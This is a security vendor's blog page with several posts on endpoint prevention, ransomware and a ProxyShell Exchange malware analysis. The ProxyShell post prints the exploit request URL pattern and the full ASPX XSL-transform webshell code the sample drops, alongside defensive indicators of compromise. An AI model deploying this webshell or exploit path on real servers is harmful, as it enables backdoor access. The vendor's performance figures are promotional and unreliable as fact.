di_blog_post

Deep Instinct prevents more advanced threats than any EPP or EDR in the world.

Deep Instinct Blog: Breaking News and Updates

Prevention Platform

Prevention for Storage

Prevention for Applications

Prevention for Endpoints

Data Security: Powered by Deep Instinct

Deep Learning: Prevention-First Cybersecurity

Products

>99% Threat Accuracy

Prevent Ransomware

Prevent Zero-Day Attacks

Why Deep Instinct

Extend & Enhance EDR/XDR

+ Microsoft Defender

+ Tanium

Legacy AV

Enhance Existing Cyber Tools

About Deep Instinct

Our Customers

Newsroom

Careers

Contact Us

Company

Asset Library

Blog

Videos

Events & Webinars

Resources

Request Demo

Customer Portal

Integrations and Compliance

Training

Quick links

EXPLORE THE PREDICTIVE PREVENTION PLATFORM

End-to-end predictive prevention platform built on a deep learning framework that protects storage, applications, and endpoints.

Prevent >99% of zero-day exploits, ransomware, and unknown threats in your NAS and cloud storage repositories.

Proactively prevent malicious files from entering your storage environment through application uploads by customers, employees, and third parties.

Prevent known and unknown malware, zero-day exploits, ransomware, and script-based attacks before they execute on the endpoint – faster than a blink of an eye.

Leverage advanced predictive prevention technology to protect data across your entire environment.

Data Security: Powered By Deep Instinct

Deep Instinct is the only deep learning framework in the world built from the ground up for cybersecurity.

Unparalleled Prevention

Leverage deep learning to deliver highly accurate threat detection and reduce false positives in a rapidly evolving threat landscape.

Stop threats using real-time classification and prevention techniques to ensure robust and efficient cybersecurity.

Proactively stop zero-day threats in <20ms with unparalleled accuracy and minimal false positives.

EDR is not enough — enhance existing cybersecurity tools with advanced, real-time threat prevention using deep learning to produce defense in depth.

Deep Instinct complements Microsoft Defender with advanced threat prevention to stop threats before they enter your environment.

+ MICROSOFT DEFENDER

Deep Instinct and Tanium deliver prevention-first endpoint security to reduce risk and boost productivity.

+ TANIUM

Replace outdated, legacy AV solutions with prevention-first, deep-learning-based protection purpose-built for cybersecurity.

LEGACY AV

Threat Research

Voice Of SecOps

Leadership Team

Board of Directors

Partners

Login

content_block

Recent Blog Posts

Recent Blog Posts

posts_listing

Blog Listing Page

Speed-Prevention.png

Stopping never-before-seen malware is a race against the clock. In just 15 seconds the fastest known ransomware begins to encrypt. By contrast, the quickest <a href="https://www.deepinstinct.com/endpoint-detection-response" target="_self">endpoint detection and response </a>(EDR) solutions take at least a few minutes to detect a threat — with many taking hours or even longer. In fact, in the time it took you to read this paragraph it would be too late.In a matter of minutes, extremely destructive ransomware has ample time to lock down patient zero, install backdoors, and begin moving laterally through the network. And it’s highly likely that by the time the security team is aware of a problem, data will have been exfiltrated and the majority of the network impacted.The challenge is that most security tools begin their work only after malware has started executing – behaviors are then analyzed to identify the type of attack. This approach not only provides the attackers with ample dwell time, it frequently leads to a high number of false-positive alerts, leaving SOC teams to determine what is a real threat versus a benign alert. The focus after detection is then&nbsp;on understanding what happened, conducting further investigation, remediation, and clean-up – a time intensive and expensive process.A deep learning-based approach provides an opportunity to prevent threats much earlier and stop attacks before they infiltrate your environment, vastly reducing overall risk.<h2>Why 20 Milliseconds Matters</h2>Speed matters. Today's attacks are lightning fast and the stakes are higher than ever.Yet, in Deep Instinct’s <a href="https://info.deepinstinct.com/tof/voice-of-secops-2021" target="_self">Voice of SecOps report </a>released last week, one key finding is that it takes 20+ hours for an organization to respond to a cyber incident. There is a better way.Deep Instinct makes exceptionally fast and accurate malicious versus benign decisions using its patented deep learning technology. This means that <a href="https://www.deepinstinct.com/pdf/di-product-infographic" target="_self">threats are blocked in &lt;20 milliseconds</a>; 750x faster than ransomware is known to encrypt. This stops malware in its’ tracks; preventing droppers, artifacts, and backdoors from being installed on the network. By preventing attacks before they execute, Deep Instinct ensures your organization does not become front page news.For enterprises, this means greater SOC effectiveness, as well as&nbsp;the following:<ul><li>Dedicated time gained back for proactive threat hunting</li><li>Increased efficiency and reduced downstream impact on EDR by correlating prevented and high-fidelity events</li><li>Improved security hygiene to focus on strategic tasks like patching, decommissioning, and hardening systems</li></ul><h2>The Next Stage in Our Commitment to Constant Innovation: Version 3.2</h2>With the latest release of the <a href="https://www.deepinstinct.com/platform" target="_self">Deep Instinct Prevention Platform </a>(Version 3.2) we introduced several powerful new features that can detect and prevent some of the most dangerous, fast-moving malware threats to help customers stay ahead of the game.&nbsp;<h2>Prevention Against Reflective DLL Injection</h2><a href="/glossary/fileless-malware-definition" target="_self">Fileless malware</a> that loads dynamically, directly from memory, is a serious threat that can circumvent most security solutions and then launch multi-stage attacks. <a href="https://www.deepinstinct.com/blog/emotet-malware-2020" target="_self">Emotet</a> is one of the premier examples of <a href="https://www.deepinstinct.com/blog/malware-evasion-techniques-part-1-process-injection-and-manipulation" target="_self">reflective DLL</a>, as the infamous malware botnet serves as a loader that downloads additional malware like TrickBot (an extremely damaging reconnaissance and ransomware combination which uses static injection). Emotet and other similar malware strains are designed to be as evasive as possible and continually evolve to avoid detection and maximize dwell time.With its <a href="https://www.deepinstinct.com/prevent-fileless-malware" target="_self">fileless malware protection</a>, Deep Instinct prevents malicious DLLs from loading from memory, not just from disk, ensuring attacks are stopped from executing on the network, shutting down this critical attack vector.&nbsp;We also prevent&nbsp;reflective .NET injection protection, another new heuristic for Windows devices, using the same principle. Deep Instinct detects and prevents .NET executables being loaded into processes from memory space.&nbsp;<h2>Anti-AMSI Bypass</h2>We have also&nbsp;added anti-AMSI bypass protection. The Windows Anti-Malware Scan Interface (AMSI) is a standard that allows applications and services to integrate with any anti-malware product present on a machine. AMSI is designed to help security teams deal with attacks that use obfuscation and encryption to avoid detection, <a href="https://www.deepinstinct.com/blog/what-makes-powershell-a-challenge-for-cybersecurity-solutions" target="_self">such as those abusing PowerShell</a>. However, malware developers have created <a href="https://www.deepinstinct.com/prevent-fileless-malware" target="_self">fileless attacks </a>that can bypass AMSI, as well as living-of-the-land techniques that exploit native Windows applications. Our new heuristic provides protection against attempts to bypass Microsoft’s AMSI on Windows devices.&nbsp;<h2>Deep Instinct Prevention Platform. Meet Attackers Earlier.</h2>The Deep Instinct Prevention Platform is powered by the world’s first and only purpose-built <a href="https://www.deepinstinct.com/why-deep-instinct" target="_self">deep learning cybersecurity framework</a>. The technology is based on a deep neural network that mimics the learning and logical capabilities of the human brain. Deep Instinct’s static analysis engine prevents &gt;99% of known and unknown malware, <a href="https://www.deepinstinct.com/zero-day-attacks" target="_self">zero-day threats</a>, and ransomware, for <a href="https://www.deepinstinct.com/endpoint-security" target="_self">endpoints </a>and <a href="https://www.deepinstinct.com/beyond-the-endpoint" target="_self">beyond</a>.<ul><li>Deep Instinct for Endpoint, the company's flagship offering, provides additional dynamic analysis layers beyond static analysis, including behavioral and reputational, to prevent the most advanced malware and multi-stage attacks. Deep Instinct for Endpoint protects against fileless attacks such as malicious code injection, in-memory, and shellcode scripts, as well as extremely advanced attacks like Adversarial AI.</li></ul><ul><li>Deep Instinct for Cloud stops malicious files from uploading to, or downloading from, public or private cloud storage, including AWS S3, Azure Blob, and Google Cloud Storage.</li></ul><ul><li>Deep Instinct for Applications scans the files associated with custom applications and workflows to prevent infected files from being uploaded to, or downloaded from, their end-users or customers.</li></ul><ul><li>Deep Instinct for Web Gateways protects organizations by preventing malicious files from downloading onto the network by end users who are browsing the internet.</li></ul>All prevented events are enhanced with contextual data including the malware’s classification and are mapped to the MITRE ATT&CK framework. The Deep Instinct Prevention Platform is designed to be incorporated into an organization’s existing security stack and tightly integrate with solutions like EDR, SOAR, and SIEM. Deep Instinct works seamlessly with existing security processes to lower risk and improve an organization’s overall security posture.Deep Instinct’s &lt;20ms time to prevention combined with our &lt;0.1% false-positive guarantee allows our customers to prevent known and<a href="/glossary/unknown-malware" target="_self"> unknown malware</a> – before systems are infected. This means that SOC teams can focus on tasks that improve productivity and spend more time threat hunting to stop the most complex, sophisticated, and aggressive attacks.We’re extremely proud to introduce this new and improved version of the Deep Instinct Prevention Platform and would be thrilled to <a href="https://www.deepinstinct.com/request-a-demo" target="_self">give you a demo</a>.

Why 20 Milliseconds Matters in Cybersecurity

Analysis and Vulnerabilities of an Exchange ProxyShell Malware

ProxyShell-Malware.png

<h5>Our Analysis of an Exchange ProxyShell Malware</h5>Threat Researchers recently discovered several new Microsoft Exchange vulnerabilities in <a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705" target="_self">ProxyShell</a> that allow attackers to gain remote-code execution capabilities. While these vulnerabilities were disclosed to Microsoft and mostly patched prior to the technical details of the vulnerabilities becoming public, many Exchange servers were left unpatched and have since been compromised.&nbsp;Exploits of Microsoft Exchange are an ongoing concern, and many new threats are seen exploiting these vulnerabilities to gain persistence on Exchange servers. We recently found malware that had been designed to exploit Microsoft Exchange in a clients’ environment. As with other known and unknown malware, Deep Instinct prevented it before it could execute and cause issues.However, this malware was quite interesting – enough to warrant a deeper investigation. The following is our analysis.<h5>The ProxyShell Vulnerabilities</h5>Before we begin our examination, let’s first review ProxyShell.&nbsp;ProxyShell consists of three vulnerabilities that, when combined, allow an attacker to run arbitrary commands on a Microsoft Exchange server without the need for authentication. This is a particularly dangerous attack vehicle because it allows access without credential theft, making it that much easier for an attacker to gain access to a targeted environment.The first ProxyShell vulnerability, <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473" target="_self">CVE-2021-34473</a>, resides in Microsoft’s Explicit Login mechanism and allows a threat actor to interface with arbitrary backend URLs as NT Authority/System simply by passing the string “Autodiscover/Autodiscover.json” in the Email field of a URL of this form:https://exchange/autodiscover/autodiscover.json?@mycorp.com/?Email=autodiscover/autodiscover.json%3f@mycorp.comHowever, this action is not enough to run any actual commands, since the system user does not have an email account. Email account access is required to use Exchange PowerShell Remoting, a built-in feature designed to help with mailbox-related administrative activities. To resolve this issue, the threat actor can leverage the PowerShell vulnerability <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523" target="_self">CVE-2021-34523 </a>to downgrade themselves to an admin.Next, the attacker can run a command on the server to gain persistent access, allowing them to deploy additional malware in the future. In order to do this, they need to write a backdoor to a file, an action that can be achieved by taking advantage of the <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207" target="_self">CVE-2021-31207</a> vulnerability.<h5>The Little .NET that Tried: Our Analysis of a ProxyShell Malware</h5>As mentioned at the outset of this blog, we recently detected and prevented an interesting piece of malware in a client’s environment that was designed to deploy an ASPX <a href="https://en.wikipedia.org/wiki/Web_shell" target="_self">webshell</a> into the clients’ Exchange server that would allow the deployment of additional malware in the future. The malware in question was a .NET sample, which made it easy to analyze using <a href="https://github.com/dnSpy/dnSpy" target="_self">DNSpy</a> or any other .NET disassembler.&nbsp;The malware’s goal is to drop an ASPX webshell on the Exchange server, create a <a href="https://docs.microsoft.com/en-us/iis/configuration/system.applicationhost/sites/site/application/virtualdirectory" target="_self">virtual directory</a> so it could be accessed from the web, and make the shell accessible from all other Exchange servers in the domain. The executable uses two additional PEs that are stored in its code as base64 encoded strings and are invoked in a fileless manner by the main executable. These are then loaded into memory, making it more difficult for anti-malware products to detect the attack.&nbsp;Embedded PE #1 —“DropHell”The first encoded PE, saved in the variable “rawAssembly,” is responsible for dropping the shell as an ASPX file and creating the virtual directory. The main executable calls one of its methods,“DropHell,” using the following command:<figure style = "float: none;width: autopx;max-width:auto;"><img src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8883d11e76de3bc6/61684317e879fb0c3fd16ec3/figure1.png" alt="Figure 1: Calling the " /><figcaption >Figure 1: Calling the "DropHell" method</figcaption></figure>The variable “array” contains the C# webshell, encoded in base64, "shAGEu.aspx." This is the name of the ASPX file in which to store it and the names of folders that will be used in the physical and virtual paths.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt44d8c5d70b34e144" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt44d8c5d70b34e144/6168437f096401150993c501/figure2.png" alt="Figure 2: The variables ‘folderPath’ and ‘array’" /><figcaption >Figure 2: The variables ‘folderPath’ and ‘array’</figcaption></figure>The “DropHell” method decodes the base64 encoded webshell, writes it into C:\ProgramData\ZING\pdILh\shAGEu.aspx (the folders “ZING” and “pdILh” are created by the method) and creates the virtual directory “/auth/笔/pdILh” that points to “C:\ProgramData\ZING\pdILh.” The path “C:\ProgramData\ZING” was seen in other ProxyShell sample analysis, such as the one <a href="https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit" target="_self">Huntress</a> had performed.It is uncommon for an ASPX file to reside under the “ProgramData” directory, which is probably why the attacker chose to drop the shell outside the ASP directories, which are more frequently monitored for suspicious activity.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt1ee1e54170c1011f" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1ee1e54170c1011f/6168437e9120740aae84c72b/figure3.png" alt="Figure 3: Creating the virtual directory" /><figcaption >Figure 3: Creating the virtual directory</figcaption></figure>After the backdoor is created, the script moves to protect it by making ZING and its content read-only hidden system artifacts and adding access rules that prevent users from doing nearly anything to the files besides reading and executing the webshell.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt1db6b2cfdc75bf89" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1db6b2cfdc75bf89/6168437fb038a00ab2a4cd5c/figure4.png" alt="Figure 4: Adding security rules to protect the created files" /><figcaption >Figure 4: Adding security rules to protect the created files</figcaption></figure>If that wasn’t enough, the malware uses Microsoft’s “icacls” "NT Service\TrustedInstaller" as the owner of “C:\ProgramData\ZING\pdILh” and anything in it, and grants full SYSTEM access to its content.&nbsp;Once this has been done, the control goes back to the main executable, which checks the returned value to see if everything went as planned. It then calls the “Run” command of the second base64 encoded PE that is stored in a variable called “rawAssembly2.”&nbsp;<figure style = "float: none;width: 705px;max-width:auto;"><img asset_uid="blt85a909f9849dd1d1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt85a909f9849dd1d1/6168437f14fe0719579ce3c0/figure5.png" alt="Figure 5: Calling the " /><figcaption >Figure 5: Calling the "Run" method</figcaption></figure>Embedded PE #2 — Spreading the Shell&nbsp;This PE’s goal is to spread the backdoor to as many Exchange servers as it can find in the domain.&nbsp;First, it uses LDAP to find additional Exchange servers by looking for the “Exchange servers” group.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt44c922e2eff24c1d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt44c922e2eff24c1d/6168437f82cf4e1aa06850f9/figure6.png" alt="Figure 6: Looking for Exchange servers" /><figcaption >Figure 6: Looking for Exchange servers</figcaption></figure>If it comes back empty handed from that attempt, it will attempt to find “sAMAccountName” values of Exchange-related services.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt828c980d8205daba" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt828c980d8205daba/6168437ff4ff8d13709afde9/figure7.png" alt="Figure 7: Exchange-related service principal names search" /><figcaption >Figure 7: Exchange-related service principal names search</figcaption></figure>Then, it creates a virtual directory on each of the found servers that point to the previously created “C:\ProgramData\ZING\pdILh” directory (all servers point to the exact same directory on the first infected machine).<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt827d61ebf35a9b50" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt827d61ebf35a9b50/6168437f738f710c37068093/figure8.png" alt="Figure 8: Creating virtual paths to the backdoor on additional Exchange servers" /><figcaption >Figure 8: Creating virtual paths to the backdoor on additional Exchange servers</figcaption></figure>And with that, the attack ends.&nbsp;The BackdoorThe dropped ASPX file contains the following C# code, which simply creates an XSL transform webshell:&lt;%@ Page Language="C#" %&gt;&lt;% var GkggV=new System.Xml.XmlDocument(); GkggV.LoadXml(@"&lt;root&gt;1&lt;/root&gt;"); var Nlcch=new System.Xml.XmlDocument(); Nlcch.LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request["Redacted"])));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var DzYqa=new System.Xml.Xsl.XslCompiledTransform(); DzYqa.Load(Nlcch,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver()); DzYqa.Transform(GkggV,null,new System.IO.MemoryStream());<h5>Conclusion</h5>Having a webshell on your Exchange server is extremely dangerous, especially in the hands of a savvy attacker. ProxyShell vulnerabilities have been used to install numerous backdoors over the past few months, and though none of the guests that came through these doors were welcome, some made a worse impression on their hosts than others, <a href="/blog/lockbit-2-0-ransomware-becomes-lockfile-ransomware-with-a-never-before-seen-encryption-method" target="_self">LockFile ransomware</a> we detailed being a prime example.Fortunately, Deep Instinct successfully prevents attacks of this nature, detecting and stopping them before they can enter a customers’ environment. Deep Instinct prevents the malicious payloads regardless of the deployment method exploited. Malicious payloads are stopped pre-execution – even when attempting to inject or run the shellcode in memory. Our deep learning framework allows Deep Instinct to prevent &gt;99% of unknown threats. It is also incredibly precise, ensuring false positives remain &lt;0.1%While patching is critical, Deep Instinct is here to prevent unknown threats. We&nbsp;predict&nbsp;security risks others can’t see and&nbsp;prevent&nbsp;threats before they execute in &lt;20ms.If you’d like to learn more about our malware, ransomware, and <a href="https://www.deepinstinct.com/zero-day-attacks" target="_self">zero-day prevention</a> capabilities – including our industry best $3M no-ransomware guarantee – we’d be delighted to&nbsp;<a href="/request-demo/" target="_self">give you a demo.</a> <h5>Indicators of Compromise</h5>SHA256 Values742fd14cd1d53e3bd7a38e7f90956b3dc4185c2a31fccd0afc673cb98bbbefe6- the main executable8f5156a457e287c2c60239d243fa8781fedb69b85b86f15e04b43b96abc53bc4- embedded PE #1 (“DropHell”)eb17d105dd5132ada75485963e6dbb344b0fe3109a9a583cebc0bf1795352185- embedded PE #2&nbsp;1f6aa7ddfc249e7a7f4c9fa2dadee249009f4d20676c3c09effe23dbe81c3be3- the ASPX webshell fileFilenames and PathsshAGEu.aspxC:\ProgramData\ZINGpdILh“/auth/笔/pdILh (virtual path)<h2>Further Reading:</h2><ul><li><a href="https://www.deepinstinct.com/blog/new-fileless-attacks-found-in-event-logs" target="_self">https://www.deepinstinct.com/blog/new-fileless-attacks-found-in-event-logs</a></li></ul>

Do Not Exchange! It has a Shell Inside.

voice-sec-ops-people.png

Deep Instinct’s Voice of SecOps Report, now in its second iteration, takes the pulse of global SecOps professionals to deliver a comprehensive picture of the challenges and opportunities enterprises face as they work in unprecedented times. The second report of 2021 builds upon our original research from July, but includes a larger sample set, now summarizing the findings of 1,500 respondents across 11 countries.The sample group geographies have been widened to include Australia and Japan, as well as additional European countries, including Spain, Italy, and Sweden. Our six core market verticals remain consistent: Financial Services, Retail, eCommerce, Manufacturing, and two of the most vulnerable industries: the Public Sector and Critical Infrastructure. Our research highlights the considerable differences in responses between geographies and verticals.A wide range of topics were included in the study to obtain a comprehensive understanding of current issues and challenges. The biggest challenges SecOps professionals face pertain to the continued risks associated with moving to the cloud, the dangers of employees clicking on malicious links, and the changing threat landscape that now includes Ransomware-as-a-Service (RaaS) and greater complexity in attack methods.Respondents were also asked about the effects of the pandemic, with hybrid work environment concerns being explored, and the challenges of securing distributed networks. A deep dive into endpoint risks, in particular, elicited potentially alarming responses around comprehensive device coverage—or rather, lack thereof. Questions on the willingness to deploy additional agents to address gaps generated a nuanced series of responses.The study also explores perceptions on the ability to prevent malware from infiltrating an organization’s network—both currently, as well as in a few years’ time. Perhaps many of the responses are reflective of a general state of pessimism around the capabilities of established technologies to cope with new threats.The study also examines barriers to detecting more threats, and the significance of a huge volume of never-before-seen malware as major risk factor for SecOps teams. Unknown malware is a uniquely challenging problem and remains a consistent concern in both of our 2021 studies. A key question related to “speed to detect and respond;” Respondents were asked how long it took to respond to a security incident once a threat has been detected. Given the massive disruption to business continuity that follows a security breach, the lengthy global response times detailed in the study stand out as being far longer than most CEOs will tolerate.Going forward, the publication of the bi-annual Voice of SecOps Report will be alternated with the bi-annual <a href="/blog/2021-mid-year-cyber-threat-landscape-report">Deep Instinct Threat Report</a>, an analysis of the latest attack vectors, ransomware families, and overall attack volumes as penned by our Threat Research team.To read the full Voice of SecOps, 2nd Edition, download the <a href="/pdf/DI-Voice-of-SecOps-2nd-Edition-Infographic" target="_self">infographic</a> and <a href="/pdf/voice-of-secops-report-2nd-edition" target="_self">full report</a>.

Latest Voice of SecOps Report Shines Light on Post-COVID Global Security Impacts

LockBit-2.0-Ransomware-Blog.jpg

Threat actors are constantly improving their attack mechanisms to gain an advantage over cybersecurity defenses. Sometimes this involves new malware; other times this means making iterative adjustments to previously successful malware to exploit new vulnerabilities or use new attack techniques to evade and breach underprepared network environments.We have seen ransomware evolve in this way previously, perhaps most famously with <a href="https://www.csoonline.com/article/3233210/petya-ransomware-and-notpetya-malware-what-you-need-to-know-now.html">Petya and NotPetya</a>. Ransomware is one of the <a href="/blog/2021-mid-year-cyber-threat-landscape-report/" target="_self">top threats</a> to businesses, with <a href="/blog/the-ransomware-conundrum-a-look-into-darkside/" target="_self">DarkSide</a>, <a href="https://www.youtube.com/watch?v=qQLdVXb4hOU">WastedLocker</a>, and many others leaving their mark on the international business landscape.In this post we provide analysis on an emerging ransomware variant called <a href="https://threatpost.com/lockfile-ransomware-avoid-detection/169042/">LockFile</a> which evolved from <a href="https://threatpost.com/lockbit-ransomware-proliferates-globally/168746/">Lockbit 2.0</a> and has breached security defenses using new attack techniques.LockFile’s Unique EncryptionMost ransomware operates in a similar way. It generates an encryption key and uses it to encrypt the entire binary of the file, corrupting all data.Lockfile works differently. Rather than encrypting the entire file, it intermittently encrypts 16 bytes at a time. For textual data, this means that part of the file will remain readable. For files where the structure is important (such as a pdf), it will corrupt the file and make it unusable.<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt845eb4db159ad367" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt845eb4db159ad367/618eee2aced1ff3eeffa0c51/LockBit-2.0-Ransomware-Blog-image-1.jpg" /></figure>Additionally, LockFile ransomware does not encrypt certain file extensions (for example .exe and .dll), a common behavior amongst a variety of ransomware. The purpose of this encryption technique is to allow the operating system to still function for the victim, albeit only by using corrupted data, ensuring the infected organization pays the ransom.One aspect of LockFile that makes it different from other ransomware is that it does not attack image files (jpeg, bmp, giff, jpg). This is a curious approach. Does LockFile do this to preserve a victim's animal pictures, or is this simply coincidental?<figure style = "float: none;width: 588px;max-width:588px;"><img asset_uid="blt414c71ff1432181c" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt414c71ff1432181c/618eee2ad7b58b4270b662fd/LockBit-2.0-Ransomware-Blog-image-2.jpg" /></figure>What is the Strategy Behind Encrypting Only Part of the File?To understand the thinking behind encrypting only part of the file rather than the entire thing, think of a file like an enormous puzzle. When you encrypt the file, you scramble the puzzle image to the point where you can’t recognize the original. At that point no one could be tricked into thinking that this is a legitimate puzzle.But what if a large portion of the puzzle remained untouched? Without careful examination, you might not notice. As such, it may well be that only part of these files are encrypted by design to obfuscate the threat. When a full file is encrypted, it is quite easy to determine that the file has been tampered with. However, using intermittent encryption may be a new tactic to avoid detection.<figure style = "float: none;width: 533px;max-width:auto;"><img asset_uid="bltf6d2c98e665d31fd" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf6d2c98e665d31fd/618eee2be11662388c9a0aeb/LockBit-2.0-Ransomware-Blog-image-3.jpg" /></figure>Old Dog, New TricksSo, who is behind this new ransomware?Some speculate that the Conti ransomware gang is responsible based on the email address in the ransom note (contact@contipauper.com).<figure style = "float: none;width: 466px;max-width:466px;"><img asset_uid="blt8048befd0b5fc0fa" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8048befd0b5fc0fa/618eee2bfd434d43ee06f3c9/LockBit-2.0-Ransomware-Blog-image-4.jpg" /></figure>But a close examination of the note reveals a striking similarity to the note used in LockBit 2.0.<figure style = "float: none;width: 561px;max-width:auto;"><img asset_uid="blt59e670c4e0d9ac61" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt59e670c4e0d9ac61/618eee2b6e3250402c099b58/LockBit-2.0-Ransomware-Blog-image-5.jpg" /></figure>Although the ransom note is nearly identical (the font, colors, and formatting are the same) LockBit 2.0 uses 32bit files while all the LockFile samples we found were 64bit. The 64bit payload Lockfile narrows the target range of potential victims since 64bit won’t work on machines with older operating systems or 32bit operating systems.This is interesting because threat actors typically prefer to keep a wider scope, not limiting their targets to specific OS architectures. Perhaps Lockfile’s developers had performance aspects in mind during the development process which led them to this decision?LockBit 2.0 and LockFile: What are the Differences?There are three more noticeable ‘features’ which differentiate LockBit 2.0 and LockFile:<ol><li>LockBit 2.0 did not use the unique intermittent encryption we saw in LockFile.</li><li>LockBit 2.0 used wmic.exe only for deleting shadow copies, while in LockFile we saw their extensive use to terminate any process related to virtualization or databases the machine is connected to.</li><li>LockBit 2.0 encrypted victim’s images, whereas LockFile did not do image encryption.</li></ol><figure style = "float: none;width: 531px;max-width:auto;"><img asset_uid="blte6266ca498adf048" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte6266ca498adf048/618eee2b8714cc4276242823/LockBit-2.0-Ransomware-Blog-image-6.jpg" /></figure>Mitigating the ThreatAccording to sources familiar with the threat infection chain, the latest version of the ransomware is using two very new attack vectors:<ul><li><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now/">ProxyShell</a> – Microsoft Exchange servers remote code execution vulnerability</li><li><a href="https://www.bleepingcomputer.com/news/microsoft/new-petitpotam-attack-allows-take-over-of-windows-domains/">PetitPotam NTLM relay attack</a> – new technique used to perform an NTLM relay attack</li></ul>To mitigate the ProxyShell vulnerabilities, one must simply patch the exchange servers. (<a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207">CVE-2021-31207</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473">2021-33473</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523">2021-34523</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206">2021-31206</a>)Mitigating the PetitPotam requires more than just downloading a patch – it necessitates following a <a href="https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429">guide Microsoft released</a>, which first informs a user about whether they are affected and includes details on how to configure one’s domain controllers to mitigate this attack vector.How Deep Instinct Stopped LockFileThreat actors will continue to find flaws and create sophisticated ways to attack your environment. The onus is on all of us to stay one step ahead.When it comes to preventing LockFile ransomware, Deep Instinct is the answer. We detect it pre-execution without any updates or modifications to our product and stop it in its tracks.If you’d like to learn more about our ransomware prevention capabilities – including our industry best $3M no-ransomware guarantee – we'd be delighted to <a href="/request-demo/" target="_self">give you a demo</a>.<figure style = "float: none;width: 428px;max-width:auto;"><img asset_uid="blt3ca24fdc7930d801" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3ca24fdc7930d801/618eee2a6cb00137592adb87/LockBit-2.0-Ransomware-Blog-image-7.jpg" /></figure>IOCs:Lockfile’s SHA256 Referred to in this Blog Post:<table><tbody><tr><td>SHA256</td><td>File Type</td></tr><tr><td>2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a</td><td>64-bit executable</td></tr><tr><td>cafe54e85c539671c94abdeb4b8adbef3bde8655006003088760d04a86b5f915</td><td>64-bit executable</td></tr><tr><td>bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce</td><td>64-bit executable</td></tr><tr><td> a926fe9fc32e645bdde9656470c7cd005b21590cda222f72daf854de9ffc4fe0</td><td>64-bit executable</td></tr></tbody></table>

LockBit 2.0 Ransomware Becomes LockFile Ransomware with a Never-Before-Seen Encryption Method

Healthcare-Ransomware.jpeg

The healthcare industry is not immune from ransomware even though many ransomware gangs have discouraged the use of their variants to target these organizations. This is because their attacks are especially high profile and potentially life-threatening.It’s estimated that <a href="https://www.hcinnovationgroup.com/cybersecurity/data-breaches/news/21214314/report-ransomware-attacks-cost-healthcare-organizations-21b-in-2020">ransomware</a> attacks cost the industry $21B in 2020 with 92 known ransomware attacks impacting more than 600 separate healthcare organizations and compromising upwards of 18 million patient records.Attacks are happening now, with serious implications for patients, healthcare workers, and the health and well-being of the organization. And as cybercriminals begin to expand the target radius of their attacks looking for susceptible targets even more networks, hospitals, and clinics could find themselves inside the crosshairs.AvosLocker is one of the new ransomware variants that specifically targets healthcare organizations. Unlike other ransomware variants that infect a network and immediately cripple functionality, AvosLocker slowly encrypts each file in a command prompt window on the user’s screen, instilling a high level of psychological harm as it is doing system takeover. Users see what’s happening to their environment in real time — but are powerless to do anything to impede the attack.This ransomware is highly efficient in what it does, although it doesn’t kill off analytics tools. In fact, ProcMon was able to save the entire capture from the encryption process. This is different from other ransomware strains that block installation or running of tools and programs as a countermeasure.Another recent threat to the healthcare sector is HIVE, which began to make small waves since it first appeared in June of 2021. Just like Lockbit 2.0 and REvil it is a double extortion-based ransomware which relies heavily on the <a href="https://www.cobaltstrike.com/help-beacon">Cobalt Strike Beacon</a> for C2 capabilities.One interesting thing about the HIVE ransomware is the unrelenting fashion in which it is used to attack the medical industry, a practice which other APT groups have vehemently stated they are against for the reasons listed aboveHIVE and Memorial Health SystemHIVE was responsible for the attacks on Memorial Health System hospitals in the Ohio area in August and the <a 